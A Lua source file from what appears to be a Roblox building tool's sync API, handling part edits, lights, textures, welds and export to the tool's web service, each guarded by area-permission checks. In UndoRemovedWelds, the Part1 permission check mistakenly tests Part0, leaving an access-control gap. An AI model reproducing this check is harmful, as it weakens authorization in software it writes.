		return NewPart;
	end;

	['Remove'] = function (Objects)
		-- Removes the given objects

		-- Get the relevant parts for each object, for permission checking
		local Parts = {};

		-- Go through the selection
		for _, Object in pairs(Objects) do

			-- Make sure the object still exists
			if Object then

				if Object:IsA 'BasePart' then
					table.insert(Parts, Object);

				elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
					table.insert(Parts, Object.Parent);
				end;

			end;

		end;

		-- Ensure relevant parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- After confirming permissions, perform each removal
		for _, Object in pairs(Objects) do

			-- Store the part's current parent
			LastParents[Object] = Object.Parent;

			-- Register the object
			CreatedInstances[Object] = Object;

			-- Set the object's current parent to `nil`
			Object.Parent = nil;

		end;

	end;

	['UndoRemove'] = function (Objects)
		-- Restores the given removed objects to their last parents

		-- Get the relevant parts for each object, for permission checking
		local Parts = {};

		-- Go through the selection
		for _, Object in pairs(Objects) do

			-- Make sure the object still exists, and that its last parent is registered
			if Object and LastParents[Object] then

				if Object:IsA 'BasePart' then
					table.insert(Parts, Object);

				elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
					table.insert(Parts, Object.Parent);
				end;

			end;

		end;

		-- Ensure relevant parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
			return;
		end;

		-- After confirming permissions, perform each removal
		for _, Object in pairs(Objects) do

			-- Store the part's current parent
			local LastParent = LastParents[Object];
			LastParents[Object] = Object.Parent;

			-- Register the object
			CreatedInstances[Object] = Object;

			-- Set the object's parent to the last parent
			Object.Parent = LastParent;

		end;

	end;

	['SyncMove'] = function (Changes)
		-- Updates parts server-side given their new CFrames

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Preserve joints
		for Part, Change in pairs(ChangeSet) do
			Change.Joints = PreserveJoints(Part, ChangeSet);
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do

			-- Stabilize the parts and maintain the original anchor state
			Part.Anchored = true;
			Part:BreakJoints();
			Part.Velocity = Vector3.new();
			Part.RotVelocity = Vector3.new();

			-- Set the part's CFrame
			Part.CFrame = Change.CFrame;

		end;

		-- Make sure the player is authorized to move parts into this area
		if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then

			-- Revert changes if unauthorized destination
			for Part, Change in pairs(ChangeSet) do
				Part.CFrame = Change.InitialState.CFrame;
			end;

		end;

		-- Restore the parts' original states
		for Part, Change in pairs(ChangeSet) do
			Part:MakeJoints();
			RestoreJoints(Change.Joints);
			Part.Anchored = Change.InitialState.Anchored;
		end;

	end;

	['SyncResize'] = function (Changes)
		-- Updates parts server-side given their new sizes and CFrames

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame };
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do

			-- Stabilize the parts and maintain the original anchor state
			Part.Anchored = true;
			Part:BreakJoints();
			Part.Velocity = Vector3.new();
			Part.RotVelocity = Vector3.new();

			-- Set the part's size and CFrame
			Part.Size = Change.Size;
			Part.CFrame = Change.CFrame;

		end;

		-- Make sure the player is authorized to move parts into this area
		if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then

			-- Revert changes if unauthorized destination
			for Part, Change in pairs(ChangeSet) do
				Part.Size = Change.InitialState.Size;
				Part.CFrame = Change.InitialState.CFrame;
			end;

		end;

		-- Restore the parts' original states
		for Part, Change in pairs(ChangeSet) do
			Part:MakeJoints();
			Part.Anchored = Change.InitialState.Anchored;
		end;

	end;

	['SyncRotate'] = function (Changes)
		-- Updates parts server-side given their new CFrames

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Preserve joints
		for Part, Change in pairs(ChangeSet) do
			Change.Joints = PreserveJoints(Part, ChangeSet);
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do

			-- Stabilize the parts and maintain the original anchor state
			Part.Anchored = true;
			Part:BreakJoints();
			Part.Velocity = Vector3.new();
			Part.RotVelocity = Vector3.new();

			-- Set the part's CFrame
			Part.CFrame = Change.CFrame;

		end;

		-- Make sure the player is authorized to move parts into this area
		if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then

			-- Revert changes if unauthorized destination
			for Part, Change in pairs(ChangeSet) do
				Part.CFrame = Change.InitialState.CFrame;
			end;

		end;

		-- Restore the parts' original states
		for Part, Change in pairs(ChangeSet) do
			Part:MakeJoints();
			RestoreJoints(Change.Joints);
			Part.Anchored = Change.InitialState.Anchored;
		end;

	end;

	['SyncColor'] = function (Changes)
		-- Updates parts server-side given their new colors

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do

			-- Set the part's color
			Part.Color = Change.Color;

			-- If this part is a union, set its UsePartColor state
			if Part.ClassName == 'UnionOperation' then
				Part.UsePartColor = Change.UnionColoring;
			end;

		end;

	end;

	['SyncSurface'] = function (Changes)
		-- Updates parts server-side given their new surfaces

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do

			-- Apply each surface change
			for Surface, SurfaceType in pairs(Change.Surfaces) do
				Part[Surface .. 'Surface'] = SurfaceType;
			end;

		end;

	end;

	['CreateLights'] = function (Changes)
		-- Creates lights in the given parts

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed light type requests
		local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };

		-- Keep track of the newly created lights
		local Lights = {};

		-- Create each light
		for Part, Change in pairs(ChangeSet) do

			-- Make sure the requested light type is valid
			if AllowedLightTypes[Change.LightType] then

				-- Create the light
				local Light = Instance.new(Change.LightType, Part);
				table.insert(Lights, Light);

				-- Register the light
				CreatedInstances[Light] = Light;

			end;

		end;

		-- Return the new lights
		return Lights;

	end;

	['SyncLighting'] = function (Changes)
		-- Updates aspects of the given selection's lights

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed light type requests
		local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };

		-- Update each part's lights
		for Part, Change in pairs(ChangeSet) do

			-- Make sure that the light type requested is valid
			if AllowedLightTypes[Change.LightType] then

				-- Grab the part's light
				local Light = Support.GetChildOfClass(Part, Change.LightType);

				-- Make sure the light exists
				if Light then

					-- Make the requested changes
					if Change.Range ~= nil then
						Light.Range = Change.Range;
					end;
					if Change.Brightness ~= nil then
						Light.Brightness = Change.Brightness;
					end;
					if Change.Color ~= nil then
						Light.Color = Change.Color;
					end;
					if Change.Shadows ~= nil then
						Light.Shadows = Change.Shadows;
					end;
					if Change.Face ~= nil then
						Light.Face = Change.Face;
					end;
					if Change.Angle ~= nil then
						Light.Angle = Change.Angle;
					end;

				end;

			end;

		end;

	end;

	['CreateDecorations'] = function (Changes)
		-- Creates decorations in the given parts

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed decoration type requests
		local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };

		-- Keep track of the newly created decorations
		local Decorations = {};

		-- Create each decoration
		for Part, Change in pairs(ChangeSet) do

			-- Make sure the requested decoration type is valid
			if AllowedDecorationTypes[Change.DecorationType] then

				-- Create the decoration
				local Decoration = Instance.new(Change.DecorationType, Part);
				table.insert(Decorations, Decoration);

				-- Register the decoration
				CreatedInstances[Decoration] = Decoration;

			end;

		end;

		-- Return the new decorations
		return Decorations;

	end;

	['SyncDecorate'] = function (Changes)
		-- Updates aspects of the given selection's decorations

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed decoration type requests
		local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };

		-- Update each part's decorations
		for Part, Change in pairs(ChangeSet) do

			-- Make sure that the decoration type requested is valid
			if AllowedDecorationTypes[Change.DecorationType] then

				-- Grab the part's decoration
				local Decoration = Support.GetChildOfClass(Part, Change.DecorationType);

				-- Make sure the decoration exists
				if Decoration then

					-- Make the requested changes
					if Change.Color ~= nil then
						Decoration.Color = Change.Color;
					end;
					if Change.Opacity ~= nil then
						Decoration.Opacity = Change.Opacity;
					end;
					if Change.RiseVelocity ~= nil then
						Decoration.RiseVelocity = Change.RiseVelocity;
					end;
					if Change.Size ~= nil then
						Decoration.Size = Change.Size;
					end;
					if Change.Heat ~= nil then
						Decoration.Heat = Change.Heat;
					end;
					if Change.SecondaryColor ~= nil then
						Decoration.SecondaryColor = Change.SecondaryColor;
					end;
					if Change.SparkleColor ~= nil then
						Decoration.SparkleColor = Change.SparkleColor;
					end;

				end;

			end;

		end;

	end;

	['CreateMeshes'] = function (Changes)
		-- Creates meshes in the given parts

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Keep track of the newly created meshes
		local Meshes = {};

		-- Create each mesh
		for Part, Change in pairs(ChangeSet) do

			-- Create the mesh
			local Mesh = Instance.new('SpecialMesh', Part);
			table.insert(Meshes, Mesh);

			-- Register the mesh
			CreatedInstances[Mesh] = Mesh;

		end;

		-- Return the new meshes
		return Meshes;

	end;

	['SyncMesh'] = function (Changes)
		-- Updates aspects of the given selection's meshes

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Update each part's meshes
		for Part, Change in pairs(ChangeSet) do

			-- Grab the part's mesh
			local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh');

			-- Make sure the mesh exists
			if Mesh then

				-- Make the requested changes
				if Change.VertexColor ~= nil then
					Mesh.VertexColor = Change.VertexColor;
				end;
				if Change.MeshType ~= nil then
					Mesh.MeshType = Change.MeshType;
				end;
				if Change.Scale ~= nil then
					Mesh.Scale = Change.Scale;
				end;
				if Change.Offset ~= nil then
					Mesh.Offset = Change.Offset;
				end;
				if Change.MeshId ~= nil then
					Mesh.MeshId = Change.MeshId;
				end;
				if Change.TextureId ~= nil then
					Mesh.TextureId = Change.TextureId;
				end;

			end;

		end;

	end;

	['CreateTextures'] = function (Changes)
		-- Creates textures in the given parts

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed texture type requests
		local AllowedTextureTypes = { Texture = true, Decal = true };

		-- Keep track of the newly created textures
		local Textures = {};

		-- Create each texture
		for Part, Change in pairs(ChangeSet) do

			-- Make sure the requested light type is valid
			if AllowedTextureTypes[Change.TextureType] then

				-- Create the texture
				local Texture = Instance.new(Change.TextureType, Part);
				Texture.Face = Change.Face;
				table.insert(Textures, Texture);

				-- Register the texture
				CreatedInstances[Texture] = Texture;

			end;

		end;

		-- Return the new textures
		return Textures;

	end;

	['SyncTexture'] = function (Changes)
		-- Updates aspects of the given selection's textures

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Make a list of allowed texture type requests
		local AllowedTextureTypes = { Texture = true, Decal = true };

		-- Update each part's textures
		for Part, Change in pairs(ChangeSet) do

			-- Make sure that the texture type requested is valid
			if AllowedTextureTypes[Change.TextureType] then

				-- Get the right textures within the part
				for _, Texture in pairs(Part:GetChildren()) do
					if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then

						-- Perform the changes
						if Change.Texture ~= nil then
							Texture.Texture = Change.Texture;
						end;
						if Change.Transparency ~= nil then
							Texture.Transparency = Change.Transparency;
						end;
						if Change.StudsPerTileU ~= nil then
							Texture.StudsPerTileU = Change.StudsPerTileU;
						end;
						if Change.StudsPerTileV ~= nil then
							Texture.StudsPerTileV = Change.StudsPerTileV;
						end;

					end;
				end;

			end;

		end;

	end;

	['SyncAnchor'] = function (Changes)
		-- Updates parts server-side given their new anchor status

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do
			Part.Anchored = Change.Anchored;
		end;

	end;

	['SyncCollision'] = function (Changes)
		-- Updates parts server-side given their new collision status

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do
			Part.CanCollide = Change.CanCollide;
		end;

	end;

	['SyncMaterial'] = function (Changes)
		-- Updates parts server-side given their new material

		-- Grab a list of every part we're attempting to modify
		local Parts = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				table.insert(Parts, Change.Part);
			end;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Reorganize the changes
		local ChangeSet = {};
		for _, Change in pairs(Changes) do
			if Change.Part then
				ChangeSet[Change.Part] = Change;
			end;
		end;

		-- Perform each change
		for Part, Change in pairs(ChangeSet) do
			if Change.Material ~= nil then
				Part.Material = Change.Material;
			end;
			if Change.Transparency ~= nil then
				Part.Transparency = Change.Transparency;
			end;
			if Change.Reflectance ~= nil then
				Part.Reflectance = Change.Reflectance;
			end;
		end;

	end;

	['CreateWelds'] = function (Parts, TargetPart)
		-- Creates welds for the given parts to the target part

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		local Welds = {};

		-- Create the welds
		for _, Part in pairs(Parts) do

			-- Make sure we're not welding this part to itself
			if Part ~= TargetPart then

				-- Calculate the offset of the part from the target part
				local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame);

				-- Create the weld
				local Weld = Instance.new('Weld');
				Weld.Name = 'BTWeld';
				Weld.Part0 = TargetPart;
				Weld.Part1 = Part;
				Weld.C1 = Offset;
				Weld.Archivable = true;
				Weld.Parent = TargetPart;

				-- Register the weld
				CreatedInstances[Weld] = Weld;
				table.insert(Welds, Weld);

			end;

		end;

		-- Return the welds created
		return Welds;
	end;

	['RemoveWelds'] = function (Welds)
		-- Removes the given welds

		local Parts = {};

		-- Go through each weld
		for _, Weld in pairs(Welds) do

			-- Make sure each given weld is valid
			if Weld.ClassName ~= 'Weld' then
				return;
			end;

			-- Collect the relevant parts for this weld
			table.insert(Parts, Weld.Part0);
			table.insert(Parts, Weld.Part1);

		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		local WeldsRemoved = 0;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Go through each weld
		for _, Weld in pairs(Welds) do

			-- Check the permissions on each weld-related part
			local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions);
			local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions);

			-- If at least one of the involved parts is authorized, remove the weld
			if not Part0Unauthorized or not Part1Unauthorized then

				-- Register the weld
				CreatedInstances[Weld] = Weld;
				LastParents[Weld] = Weld.Parent;
				WeldsRemoved = WeldsRemoved + 1;

				-- Remove the weld
				Weld.Parent = nil;

			end;

		end;

		-- Return the number of welds removed
		return WeldsRemoved;
	end;

	['UndoRemovedWelds'] = function (Welds)
		-- Restores the given removed welds

		local Parts = {};

		-- Go through each weld
		for _, Weld in pairs(Welds) do

			-- Make sure each given weld is valid
			if Weld.ClassName ~= 'Weld' then
				return;
			end;

			-- Make sure each weld has its old parent registered
			if not LastParents[Weld] then
				return;
			end;

			-- Collect the relevant parts for this weld
			table.insert(Parts, Weld.Part0);
			table.insert(Parts, Weld.Part1);

		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Go through each weld
		for _, Weld in pairs(Welds) do

			-- Check the permissions on each weld-related part
			local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
			local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);

			-- If at least one of the involved parts is authorized, restore the weld
			if not Part0Unauthorized or not Part1Unauthorized then

				-- Store the part's current parent
				local LastParent = LastParents[Weld];
				LastParents[Weld] = Weld.Parent;

				-- Register the weld
				CreatedInstances[Weld] = Weld;

				-- Set the weld's parent to the last parent
				Weld.Parent = LastParent;

			end;

		end;

	end;

	['Export'] = function (Parts)
		-- Serializes, exports, and returns ID for importing given parts

		-- Offload action to server-side if API is running locally
		if RunService:IsClient() and not RunService:IsStudio() then
			return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts);
		end;

		-- Ensure valid selection
		assert(type(Parts) == 'table', 'Invalid item table');

		-- Ensure there are items to export
		if #Parts == 0 then
			return;
		end;

		-- Ensure parts are selectable
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to access these parts
		if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
			return;
		end;

		-- Get all descendants of the parts
		local Items = Support.CloneTable(Parts);
		for _, Part in pairs(Parts) do
			Support.ConcatTable(Items, Support.GetAllDescendants(Part));
		end;

		-- After confirming permissions, serialize parts
		local SerializedBuildData = Serialization.SerializeModel(Items);

		-- Push serialized data to server
		local Response = HttpService:JSONDecode(
			HttpService:PostAsync(
				'http://f3xteam.com/bt/export',
				HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) },
				Enum.HttpContentType.ApplicationJson,
				true
			)
		);

		-- Return creation ID on success
		if Response.success then
			return Response.id;
		else
			error('Export failed due to server-side error', 2);
		end;

	end;

	['IsHttpServiceEnabled'] = function ()
		-- Returns whether HttpService is enabled

		-- Offload action to server-side if API is running locally
		if RunService:IsClient() and not RunService:IsStudio() then
			return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled');
		end;

		-- For in-game tool, return cached status if available
		if ToolMode == 'Tool' and (IsHttpServiceEnabled ~= nil) then
			return IsHttpServiceEnabled;
		end;

		-- Perform test HTTP request
		local Success, Error = pcall(function ()
			return HttpService:GetAsync('http://google.com');
		end);

		-- Determine whether HttpService is enabled
		if not Success and Error:match 'Http requests are not enabled' then
			IsHttpServiceEnabled = false;
		elseif Success then
			IsHttpServiceEnabled = true;
		end;

		-- Return HttpService status
		return IsHttpServiceEnabled;

	end;

	['ExtractMeshFromAsset'] = function (AssetId)
		-- Returns the first found mesh in the given asset

		-- Offload action to server-side if API is running locally
		if RunService:IsClient() and not RunService:IsStudio() then
			return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId);
		end;

		-- Ensure valid asset ID is given
		assert(type(AssetId) == 'number', 'Invalid asset ID');

		-- Return parsed response from API
		return HttpService:JSONDecode(
			HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId)
		);

	end;

	['ExtractImageFromDecal'] = function (DecalAssetId)
		-- Returns the first image found in the given decal asset

		-- Offload action to server-side if API is running locally
		if RunService:IsClient() and not RunService:IsStudio() then
			return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId);
		end;

		-- Return direct response from the API
		return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId);

	end;

	['SetMouseLockEnabled'] = function (Enabled)
		-- Sets whether mouse lock is enabled for the current player

		-- Offload action to server-side if API is running locally
		if RunService:IsClient() and not RunService:IsStudio() then
			return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled);
		end;

		-- Set whether mouse lock is enabled
		Player.DevEnableMouseLock = Enabled;

	end;

};

function ArePartsSelectable(Parts)
	-- Returns whether the parts are selectable

	-- Check whether each part is selectable
	for _, Part in pairs(Parts) do
		if not Part:IsA 'BasePart' or Part.Locked then
			return false;
		end;
	end;

	-- Return true if all parts are selectable
	return true;

end;


